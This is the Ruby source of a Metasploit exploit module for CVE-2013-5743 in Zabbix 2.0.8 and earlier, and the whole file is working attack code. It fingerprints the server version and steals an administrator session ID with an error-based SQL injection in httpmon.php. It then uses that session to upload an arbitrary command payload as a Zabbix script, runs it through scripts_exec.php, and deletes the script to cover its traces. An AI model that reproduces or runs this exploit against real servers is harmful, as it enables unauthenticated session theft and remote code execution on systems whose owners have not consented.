## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Zabbix 2.0.8 SQL Injection and Remote Code Execution", 'Description' => %q{ This module exploits an unauthenticated SQL injection vulnerability affecting Zabbix versions 2.0.8 and lower. The SQL injection issue can be abused in order to retrieve an active session ID. If an administrator level user is identified, remote code execution can be gained by uploading and executing remote scripts via the 'scripts_exec.php' file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Lincoln ', # Discovery, Original Proof of Concept 'Jason Kratzer ' # Metasploit Module ], 'References' => [ ['CVE', '2013-5743'], ['URL', 'https://support.zabbix.com/browse/ZBX-7091'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Zabbix version <= 2.0.8', {}] ], 'Privileged' => false, 'Payload' => { 'Space' => 255, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python' } }, 'DisclosureDate' => '2013-09-23', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix']) ]) end def uri return target_uri.path end def check # Check version vprint_status("Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "httpmon.php") }) if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/ version = $1 vprint_status("Zabbix version #{version} detected") else # If this fails, guest access may not be enabled vprint_status("Unable to access httpmon.php") return Exploit::CheckCode::Unknown end if version and version <= "2.0.8" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def get_session_id # Generate random string and convert to hex sqlq = rand_text_alpha(8) sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join sqli = "2 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST" sqli << "(sessionid AS CHAR),0x20)),1,50) FROM zabbix.sessions WHERE status=0 and userid=1 " sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" # Extract session id from database res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("#{uri}", "httpmon.php"), 'vars_get' => { "applications" => sqli } }) if res && res.code == 200 and res.body =~ /(?<=#{sqlq})(.*)(?=#{sqlq})/ session = $1 print_status("Extracted session cookie - [ #{session} ]") return session else fail_with(Failure::Unknown, "#{peer} - Unable to extract a valid session") end end def exploit # Retrieve valid session id @session = get_session_id @sid = "#{@session[16..-1]}" script_name = rand_text_alpha(8) # Upload script print_status("Attempting to inject payload") res = send_request_cgi({ 'method' => 'POST', 'cookie' => "zbx_sessionid=#{@session}", 'uri' => normalize_uri(uri, "scripts.php"), 'vars_post' => { 'sid' => @sid, 'form' => 'Create+script', 'name' => script_name, 'type' => '0', 'execute_on' => '1', 'command' => payload.encoded, 'commandipmi' => '', 'description' => '', 'usrgrpid' => '0', 'groupid' => '0', 'access' => '2', 'save' => 'Save' } }) if res and res.code == 200 and res.body =~ /(Script added)/ print_good("Payload injected successfully") else fail_with(Failure::Unknown, "#{peer} - Payload injection failed!") end # Extract 'scriptid' value @scriptid = /(?<=scriptid=)(\d+)(?=&sid=#{@sid}">#{script_name})/.match(res.body) # Trigger Payload res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("#{uri}", "scripts_exec.php"), 'cookie' => "zbx_sessionid=#{@session}", 'vars_get' => { "execute" =>1, "scriptid" => @scriptid, "sid" => @sid, "hostid" => "10084" } }) end def cleanup post_data = "sid=#{@sid}&form_refresh=1&scripts[#{@scriptid}]=#{@scriptid}&go=delete&goButton=Go (1)" print_status("Cleaning script remnants") res = send_request_cgi({ 'method' => 'POST', 'data' => post_data, 'cookie' => "zbx_sessionid=#{@session}", 'uri' => normalize_uri(uri, "scripts.php") }) if res and res.code == 200 and res.body =~ /(Script deleted)/ print_good("Script removed successfully") else print_warning("Unable to remove script #{@scriptid}") end end end